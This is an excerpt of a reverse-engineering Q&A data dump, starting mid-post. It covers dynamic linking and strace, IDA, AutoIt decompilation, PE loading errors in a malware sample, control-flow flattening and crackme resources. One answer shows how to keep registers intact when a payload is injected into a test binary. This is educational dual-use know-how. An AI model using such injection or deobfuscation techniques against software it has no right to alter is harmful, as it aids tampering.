O_RDONLY|O_CLOEXEC) = 3&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=95294, ...}) = 0&#xA;mmap(NULL, 95294, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f39527a1000&#xA;close(3)                                = 0&#xA;open(&quot;/lib64/libselinux.so.1&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0000c\0\0\0\0\0\0&quot;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0755, st_size=153176, ...}) = 0&#xA;mmap(NULL, 2253688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f3952370000&#xA;mprotect(0x7f3952393000, 2097152, PROT_NONE) = 0&#xA;mmap(0x7f3952593000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x23000) = 0x7f3952593000&#xA;mmap(0x7f3952595000, 4984, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f3952595000&#xA;close(3)                                = 0&#xA;open(&quot;/lib64/libcap.so.2&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0P\25\0\0\0\0\0\0&quot;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0755, st_size=18608, ...}) = 0&#xA;mmap(NULL, 2113840, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f395216b000&#xA;mprotect(0x7f395216f000, 2093056, PROT_NONE) = 0&#xA;mmap(0x7f395236e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7f395236e000&#xA;close(3)                                = 0&#xA;open(&quot;/lib64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0P\10\2\0\0\0\0\0&quot;..., 832) = 832&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be seen from ldd output, a supplementary question here is - how could ldd predict the load address of a dynamically linked/loaded library before loading of library? In theory as I studied, the memory is a shared resource and then multiple libraries should be able to be loaded at same memory locations (not simultaneously though).&lt;/p&gt;&#xA;" OwnerUserId="20800" LastEditorUserId="18317" LastEditDate="2017-07-04T19:10:25.740" LastActivityDate="2017-07-05T14:04:23.477" Title="Could not find ld-linux-x86-64.so.2 in strace output" Tags="|binary-analysis|dynamic-analysis|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15759" PostTypeId="2" ParentId="15758" CreationDate="2017-07-04T19:08:40.573" Score="3" Body="&lt;p&gt;A very similar question to this can be found on stackoverflow: &lt;a href=&quot;https://stackoverflow.com/questions/26876247/how-does-execve-call-dynamic-linker-loader-ld-linux-so-2&quot;&gt;How does execve call dynamic linker/loader (ld-linux.so.2)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason there is no &lt;code&gt;strace&lt;/code&gt; output associated with the dynamic linker is that control is passed to the dynamic linker during process creation by the kernel. In other words, the dynamic linker is not invoked from userspace via a system call. No system call means no &lt;code&gt;strace&lt;/code&gt; output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the generic SYSV ABI, Chapter 5: &quot;Program Loading and Dynamic Linking&quot;::&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An executable file that participates in dynamic linking shall have one &lt;code&gt;PT_INTERP&lt;/code&gt; program header element. During the function &lt;code&gt;exec&lt;/code&gt;, the system retrieves a path name from the &lt;code&gt;PT_INTERP&lt;/code&gt; segment and creates the initial process image from the interpreter file’s segments. That is, instead of using the original executable file’s segment images, the system composes a memory image for the interpreter. It then is the interpreter’s responsibility to receive control from the system and provide an environment for the application program.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As ‘‘Process Initialization’’ in Chapter 3 of the processor supplement mentions, the interpreter receives control in one of two ways. First, it may receive a file descriptor to read the executable file, positioned at the beginning. It can use this file descriptor to read and/or map the executable file’s segments into memory. Second, depending on the executable file format, the system may load the executable file into memory instead of giving the interpreter an open file descriptor.&#xA;  With the possible exception of the file descriptor, the interpreter’s initial process state matches what the executable file would have received. The interpreter itself may not require a second interpreter. An interpreter may be either a shared object or an executable file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The term &quot;system&quot; used above refers to the kernel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -l /bin/cat&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x402602&#xA;There are 9 program headers, starting at offset 64&#xA;&#xA;Program Headers:&#xA;  Type           Offset             VirtAddr           PhysAddr&#xA;                 FileSiz            MemSiz              Flags  Align&#xA;  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040&#xA;                 0x00000000000001f8 0x00000000000001f8  R E    8&#xA;  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238&#xA;                 0x000000000000001c 0x000000000000001c  R      1&#xA;      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is significant that &lt;code&gt;INTERP&lt;/code&gt; is a program header, as program headers are used by the kernel when mapping the binary into memory to create a running process. It can be inferred that the presence of the pathname of the dynamic linker in a program header has implications for process creation by the kernel.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When building an executable file that uses dynamic linking, the link editor adds a program header element of type &lt;code&gt;PT _ INTERP&lt;/code&gt; to an executable file, telling the system to invoke the dynamic linker as the program interpreter.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;exec&lt;/code&gt; and the dynamic linker cooperate to create the process image for the program, which entails the following actions:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Adding the executable file’s memory segments to the process image;&lt;/li&gt;&#xA;  &lt;li&gt;Adding shared object memory segments to the process image;&lt;/li&gt;&#xA;  &lt;li&gt;Performing relocations for the executable file and its shared objects;&lt;/li&gt;&#xA;  &lt;li&gt;Closing the file descriptor that was used to read the executable file, if one was given to the dynamic linker;&lt;/li&gt;&#xA;  &lt;li&gt;Transferring control to the program, making it look as if the program had received control directly from the function &lt;code&gt;exec&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Response to comment&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried the same stuff on NetBSD machine and there I see the mapping of ld.so as the first step. So this should essentially means that this is implementation dependent whether we will see the dynamic linker in strace or not. Right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wrong, at least according to the &lt;a href=&quot;http://www.netbsd.org/docs/internals/en/chap-processes.html#process_startup&quot; rel=&quot;nofollow noreferrer&quot;&gt;NetBSD process startup documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that when starting a dynamic ELF executable, the ELF loader (also known as the interpreter: &lt;code&gt;/usr/libexec/ld.elf_so&lt;/code&gt;) is loaded with the executable by the kernel. The ELF loader is started by the kernel and is responsible for starting the executable itself afterwards.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a better answer, you will have to ask a separate question about this specifically, and with the &lt;code&gt;strace&lt;/code&gt; output included.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how does &lt;code&gt;ldd&lt;/code&gt; mentions the base address of a library even without loading it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldd&lt;/code&gt; calls the dynamic linker, which loads a dynamically-linked program's dynamic dependencies. From the &lt;code&gt;ldd&lt;/code&gt; man page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the usual case, &lt;code&gt;ldd&lt;/code&gt; invokes the standard dynamic linker (see &lt;code&gt;ld.so(8)&lt;/code&gt;) with the &lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt; environment variable set to 1. This causes the dynamic linker to inspect the program's dynamic dependencies, and find (according to the rules described in &lt;code&gt;ld.so(8)&lt;/code&gt;) and load the objects that satisfy those dependencies. For each dependency, &lt;code&gt;ldd&lt;/code&gt; displays the location of the matching object and the (hexadecimal) address at which it is loaded.  (The &lt;code&gt;linux-vdso&lt;/code&gt; and &lt;code&gt;ld-linux&lt;/code&gt; shared dependencies are special; see &lt;code&gt;vdso(7)&lt;/code&gt; and &lt;code&gt;ld.so(8)&lt;/code&gt;.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In some cases &lt;code&gt;ldd&lt;/code&gt; will even execute the binary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Be aware that in some circumstances (e.g., where the program specifies an ELF interpreter other than ld-linux.so), some versions of &lt;code&gt;ldd&lt;/code&gt; may attempt to obtain the dependency information by attempting to directly execute the program (which may lead to the execution of whatever code is defined in the program's ELF interpreter, and perhaps to execution of the program itself).  Thus, you should never employ ldd on an untrusted executable, since this may result in the execution of arbitrary code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldd&lt;/code&gt; does indeed result in a program's dynamic dependencies being loaded into virtual memory.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-07-05T14:04:23.477" LastActivityDate="2017-07-05T14:04:23.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15761" PostTypeId="1" AcceptedAnswerId="15762" CreationDate="2017-07-04T21:17:49.030" Score="2" ViewCount="427" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gDuFf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDuFf.png&quot; alt=&quot;IDA Pro Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are grey dashed lines supposed to represent in IDA? I am new to IDA + new to reverse engineering in general. I originally thought these marked functions that IDA hadn't defined but looking into blocks that don't return etc this probably isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone enlighten me on what these signify? &lt;/p&gt;&#xA;" OwnerUserId="20803" LastActivityDate="2017-07-04T22:50:10.167" Title="What do the grey dashed lines in IDA's text view represent?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15762" PostTypeId="2" ParentId="15761" CreationDate="2017-07-04T22:50:10.167" Score="0" Body="&lt;p&gt;begin/end of block, may be possible a function or unlink switch table&lt;/p&gt;&#xA;" OwnerDisplayName="user18664" LastActivityDate="2017-07-04T22:50:10.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15763" PostTypeId="1" CreationDate="2017-07-05T02:37:49.970" Score="5" ViewCount="2260" Body="&lt;p&gt;I'm trying to de-compile a cheat created for my game so I can fix it. The problem is the version used is 3.3.14.2 which no longer has official de-compiler support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking for 3rd party de-compilers but none of them worked for me. I've read somewhere that the &lt;code&gt;.exe&lt;/code&gt; generated by AutoIT is just an embedded interpreter for AutoIT and the script source code but obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how it is compiled so I can use OllyDBG to try and de-obfuscate the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of-course the &lt;code&gt;.exe&lt;/code&gt; is packed with UPX but can easily be unpacked. So the only problem is script obfuscation. (If my understanding is correct)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried dumping the application memory but didn't find any readable script there. I've also used OllyDBG to run the application but it gave me the error &lt;code&gt;This is a third-party compiled AutoIt script&lt;/code&gt;. Bit confused why but attaching to the running application works okay.&lt;/p&gt;&#xA;" OwnerUserId="8243" LastActivityDate="2020-04-25T18:02:55.337" Title="Understanding AutoIT &quot;compilation&quot;" Tags="|ollydbg|decompilation|deobfuscation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15765" PostTypeId="1" CreationDate="2017-07-05T10:01:52.537" Score="3" ViewCount="1892" Body="&lt;p&gt;I'm doing research on the PE format/Windows Loader and I am unable to locate specifics as to what creates the error &quot;Not a valid Win32 Application&quot; followed by a failure to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the Major/Minor LinkerVersion in the PE header as per &lt;a href=&quot;https://github.com/corkami/docs/blob/master/PE/PE.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Corkami's research&lt;/a&gt;. I've also tried zeroing out every unnecessary data structure in the header of the PE file. I have a particular file where, for dynamic analysis, it cannot map into memory and Process Monitor shows a &quot;FILE LOCKED WITH ONLY READERS&quot; status when Explorer.exe tries to &lt;strong&gt;CreateFileMapping&lt;/strong&gt; the file. I suppose this is just superficial reason that EXPLORER.EXE is given by a kernel routine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried turning &lt;em&gt;loader snaps on in WinDbg&lt;/em&gt; and tried to load the file in WinDbg, which also failed claiming it was not a valid Win32 app. OllyDbg fails, X32Dbg also fails. However, IDA Pro is able to parse the file just fine, and when I navigate to it's AddressOfEntryPoint, there appears to be valid code. I would attach this particular subject here but the file is malware so I don't know if that's appropriate. However, the question really is general, as the file won't load at all. I'll attach a couple of shots of its headers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7XSme.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XSme.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z808S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z808S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/e0BuS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0BuS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file also has a MZ header in the first bytes, a proper link to a PE signature as well in e_lfanew. It seems that there must be some problem in the handoff between Explorer.exe, the caller of the load, before the loader actually initiates. This is the area where I am foggy as I know nothing about that step of the process concerning what happens before the image loader is initiated.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-07-05T10:14:40.293" LastActivityDate="2022-04-24T02:02:40.203" Title="What conditions can create the &quot;Not a Valid Win32 Application&quot; error message upon load?" Tags="|windows|malware|pe|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15767" PostTypeId="2" ParentId="15268" CreationDate="2017-07-05T13:40:40.963" Score="1" Body="&lt;p&gt;IDA demo does not include remote debuggers so you can't debug Android programs with it. You need the full version.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-05T13:40:40.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15768" PostTypeId="2" ParentId="10945" CreationDate="2017-07-05T17:45:03.847" Score="1" Body="&lt;p&gt;As @goodies said in the comment what is happening here is that you are destroying some register values and thus causing a crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extend your payload with &lt;code&gt;pusha&lt;/code&gt;/&lt;code&gt;popa&lt;/code&gt; like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_start:&#xA;  pusha&#xA;  jmp MESSAGE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int 0x80&#xA;popa&#xA;jmp end     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you do all the steps now, you will get the requested result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./simple_if &#xA;Hello, World!&#xA;Enter 0/1: 9&#xA;Entered value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's usually the best approach when dealing with payload to maintain the state of the registers unless you specifically want some behavior to occur by modifying the regs.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-07-05T17:45:03.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15770" PostTypeId="1" AcceptedAnswerId="15772" CreationDate="2017-07-06T07:21:32.643" Score="9" ViewCount="1473" Body="&lt;p&gt;I was trying to reverse engineer an android ndk (arm) using ida pro on a static analysis. However, it appears there are a lot of useless jumps to the same place and with random values set to R1 to compare and jump again. Like the following picture. Nearly every function is doing something similar -- Initialization first (stuffs like push registers), then it jumps to code somewhere (like the right up corner of the picture), load random values to R1 register and compare it with R0 and do the jumps, but it will always jump back to the up corner again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NzXbP.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzXbP.jpg&quot; alt=&quot;Code graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another case, it seems loc_FFBA and it's following branches serve as a big switch, but what doesn't make sense is nearly every branch will eventually jump back to loc_FFBA again. There can be a flow red-&gt;green-&gt;blue-&gt;red, but it doesn't even make sense... You can see the jump in blue is even useless because if it takes jump to blue (R0&gt;0x6fe5e521), it will definitely take the jump to the red (R0&gt;0x661cf941)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nuCQC.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuCQC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is this done intentionally by the author to prevent the reverse engineering? If so how is it achieved? For me, it sounds like the author will need a lot of if-else and goto clause in his C++ code, but that will also slow down the development because he may confuse himself... And it doesn't seem the .so ndk is packed, since by using a debugger, I found generally what it actually does is just to decode a resource file to an apk and load it dynamically, but all the decryption is done by calling JNI functions to do an AES decryption to load the APK, rather than do it in C++, so the messed up jumps seems not to be something related to the decryption either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there's some kind of compiler that will generate the junks if this is really an intentional obfuscation? &lt;/p&gt;&#xA;" OwnerUserId="20811" LastEditorUserId="20811" LastEditDate="2017-07-06T07:45:20.483" LastActivityDate="2023-01-09T11:05:50.487" Title="Is there a name for this kind of &quot;obfuscation&quot; for the machine code from C++?" Tags="|ida|c++|android|obfuscation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15772" PostTypeId="2" ParentId="15770" CreationDate="2017-07-06T14:35:12.690" Score="7" Body="&lt;p&gt;Unfortunately it is not enough code to say exactly what it is, but, &#xA;as @0xec said, it looks very much like control flow flattening.&#xA;Usually such kind of code transformations are done automatically with obfuscators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some obfuscating compilers, and &lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/wiki&quot; rel=&quot;noreferrer&quot;&gt;one of them&lt;/a&gt;  does &lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening&quot; rel=&quot;noreferrer&quot;&gt;CFG flattening&lt;/a&gt;. As far as I know this compiler is not one-of-a-kind, there are a lot of others. This specific obfuscating compiler is based on &lt;a href=&quot;https://llvm.org&quot; rel=&quot;noreferrer&quot;&gt;LLVM framework&lt;/a&gt; and if you want to see how it can be implemented - the code for the CFG flattening is &lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/blob/llvm-4.0/lib/Transforms/Obfuscation/Flattening.cpp&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Also, you can find an example on how to deobfuscate small programs &lt;a href=&quot;https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="20067" LastEditDate="2017-07-06T19:20:10.767" LastActivityDate="2017-07-06T19:20:10.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15773" PostTypeId="2" ParentId="15770" CreationDate="2017-07-06T19:23:32.850" Score="5" Body="&lt;p&gt;Here's a blog post describing this technique in a little more detail as well as some hints on how to undo it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another article from 2017:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.rpis.ec/2017/12/dissection-llvm-obfuscator-p1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.rpis.ec/2017/12/dissection-llvm-obfuscator-p1.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-12-06T09:55:00.863" LastActivityDate="2017-12-06T09:55:00.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15774" PostTypeId="1" AcceptedAnswerId="15775" CreationDate="2017-07-06T20:26:49.850" Score="27" ViewCount="39065" Body="&lt;p&gt;I'd like to get started with reverse engineering.&lt;/p&gt;&#xA;&lt;p&gt;Several years ago I saw many programs called &lt;a href=&quot;https://en.wikipedia.org/wiki/Crackme&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackmes&lt;/a&gt;, to crack.&lt;/p&gt;&#xA;&lt;p&gt;When I searched for some this week, I found none.&lt;/p&gt;&#xA;&lt;p&gt;My question is, can somebody recommend some websites (like crackme walkthroughs) or learning resources to get started with reverse engineering?&lt;/p&gt;&#xA;" OwnerUserId="20817" LastEditorUserId="118" LastEditDate="2023-06-02T19:23:52.913" LastActivityDate="2023-06-02T19:23:52.913" Title="Crack Me Material" Tags="|crackme|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15775" PostTypeId="2" ParentId="15774" CreationDate="2017-07-06T20:57:16.410" Score="43" Body="&lt;p&gt;Here are a bunch:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.wechall.net/active_sites&quot; rel=&quot;noreferrer&quot;&gt;https://www.wechall.net/active_sites&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.wechall.net/challs/&quot; rel=&quot;noreferrer&quot;&gt;http://www.wechall.net/challs/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://crackmes.one&quot; rel=&quot;noreferrer&quot;&gt;https://crackmes.one&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://pwnable.xyz/&quot; rel=&quot;noreferrer&quot;&gt;https://pwnable.xyz/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;noreferrer&quot;&gt;https://tuts4you.com/download.php?list.17&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/fdivrp/awesome-reversing/&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/fdivrp/awesome-reversing/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/michalmalik/linux-re-101&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/michalmalik/linux-re-101&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php&quot; rel=&quot;noreferrer&quot;&gt;https://tuts4you.com/download.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/RPISEC/MBE&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/RPISEC/MBE&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Maijin/Workshop2015/tree/master/IOLI-crackme&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/Maijin/Workshop2015/tree/master/IOLI-crackme&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/BinaryResearch/IOLI64&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/BinaryResearch/IOLI64&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://hackcenter.com/sign-in&quot; rel=&quot;noreferrer&quot;&gt;https://hackcenter.com/sign-in&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.root-me.org/en/Challenges/Cracking/&quot; rel=&quot;noreferrer&quot;&gt;https://www.root-me.org/en/Challenges/Cracking/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://challenges.re/&quot; rel=&quot;noreferrer&quot;&gt;https://challenges.re/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/s7ephen/CSAW_2009&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/s7ephen/CSAW_2009&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/isislab/Hack-Night/&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/isislab/Hack-Night/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pwnable.kr/&quot; rel=&quot;noreferrer&quot;&gt;http://pwnable.kr/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://w3challs.com/&quot; rel=&quot;noreferrer&quot;&gt;https://w3challs.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://io.netgarage.org/&quot; rel=&quot;noreferrer&quot;&gt;http://io.netgarage.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rogerfm.net/challenge/crackme/index.htm&quot; rel=&quot;noreferrer&quot;&gt;http://rogerfm.net/challenge/crackme/index.htm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gironsec.com/cactuscon_re_challenges/index.php&quot; rel=&quot;noreferrer&quot;&gt;https://gironsec.com/cactuscon_re_challenges/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cryptocult.wordpress.com/cyber-challenges/&quot; rel=&quot;noreferrer&quot;&gt;https://cryptocult.wordpress.com/cyber-challenges/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.reteam.org/challenges.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.reteam.org/challenges.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/rshipp/awesome-malware-analysis&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/rshipp/awesome-malware-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://crackmes.cf&quot; 